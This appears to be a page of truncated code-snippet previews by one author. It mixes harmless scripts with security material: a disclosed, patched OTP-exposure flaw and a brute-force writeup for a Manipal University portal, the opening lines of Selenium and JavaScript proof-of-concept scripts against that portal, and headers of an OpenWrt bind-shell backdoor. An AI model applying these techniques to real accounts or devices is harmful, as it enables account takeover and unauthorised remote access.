0x48piraj

import requests, bs4

def checker(username):
 r = requests.get('https://instagram.com/' + str(username))
 html = str(r.content)
 if 'private":true' in html:
  return True
 elif 'private":false' in html:
  return False
 else:

0x48piraj

Open the Mail.com android app (version=6.1.4), then goto "Add Account"
Click on it.
Login. (Dummy credentials, type anything)
Click on the eye icon which allows users to show the password behind asterisks.
Click on the password textbox again.

Boom, app force stop.

0x48piraj

/***********************************************************

win32printmodule.cpp -- module for interface into printer API


Note that this source file contains embedded documentation.
This documentation consists of marked up text inside the
C comments, and is prefixed with an '@' symbol.  The source
files are processed by a tool called "autoduck" which
generates Windows .hlp files.

0x48piraj

# Author : PIYUSH RAJ (0x48piraj)
# Impact : Taking control over any account (both parent's & student's) via exposed OTP (One Time Password) pin on client's side
# Vulnerability   : Improper handling of sensitive data
# Target : dms.jaipur.manipal.edu
# Exploit: Javascript Injection (Proof-of-Concept provided)
# Patched : Yes (Reported on https://bounty.jaipur.manipal.edu)

# Vulnerable parameters :
- hdnOTP
- hdnStudentOTP

0x48piraj

#!/usr/bin/python

import sys
from selenium import webdriver

# Author : PIYUSH RAJ (0x48piraj)
# Proof-of-Concept (POC) : Python 3

driver = webdriver.Firefox()
driver.get("https://dms.jaipur.manipal.edu/loginForm.aspx")

0x48piraj

// Author : PIYUSH RAJ (0x48piraj)
// Proof-of-Concept (POC) : Javascript

function sleepFor( sleepDuration ){
    var now = new Date().getTime();
    while(new Date().getTime() < now + sleepDuration){ /* do nothing */ } 
}

function check(combo){
 document.getElementById("TxtStduentOTP").value = combo;

0x48piraj

# Author : PIYUSH RAJ (0x48piraj)
# Impact : Bruteforcing OTP PIN Efficiently (With POC)
# Vulnerability   : No lock-out policy
# Exploit: Seq. Bruteforce Attack (Proof-of-Concept provided)

Vulnerability :
Due to no lock-out policy enabled, bruteforcing can be done. What makes it easily bruteforcable is the password strength, it consists of only 4 digits.
This makes a total of 10,000 combinations. What's more interesting is the OTP PIN generated has always it's value par 1000, which helps reducing the total combinations by 1000.
Making it only 9000.

0x48piraj

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#define BACKDOOR_PORT 4444

 /* Author: Piyush Raj (0x48piraj)
  * Bind Shell for OpenWrt 18.06 firmware, handles one connection per execution
  * Arch : i486
  * ./i486-openwrt-linux-musl-gcc bindshell-unstable.c -o bindshell
  */

0x48piraj

#!/bin/bash

###############################################################
# Author : Piyush Raj <0x48piraj>                             #
# Info   : Auto Node Packages Vulnerability Resolver          #
###############################################################

printf "[*] Organisation => orgs"
printf "[*] Individual   => users"

0x48piraj

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#define BACKDOOR_PORT 4444

 /* Author: Piyush Raj (0x48piraj)
  * Bind Shell for OpenWrt 18.06 firmware
  * Arch : i486
  * ./i486-openwrt-linux-musl-gcc bindshell-stable.c -o bindshell
  */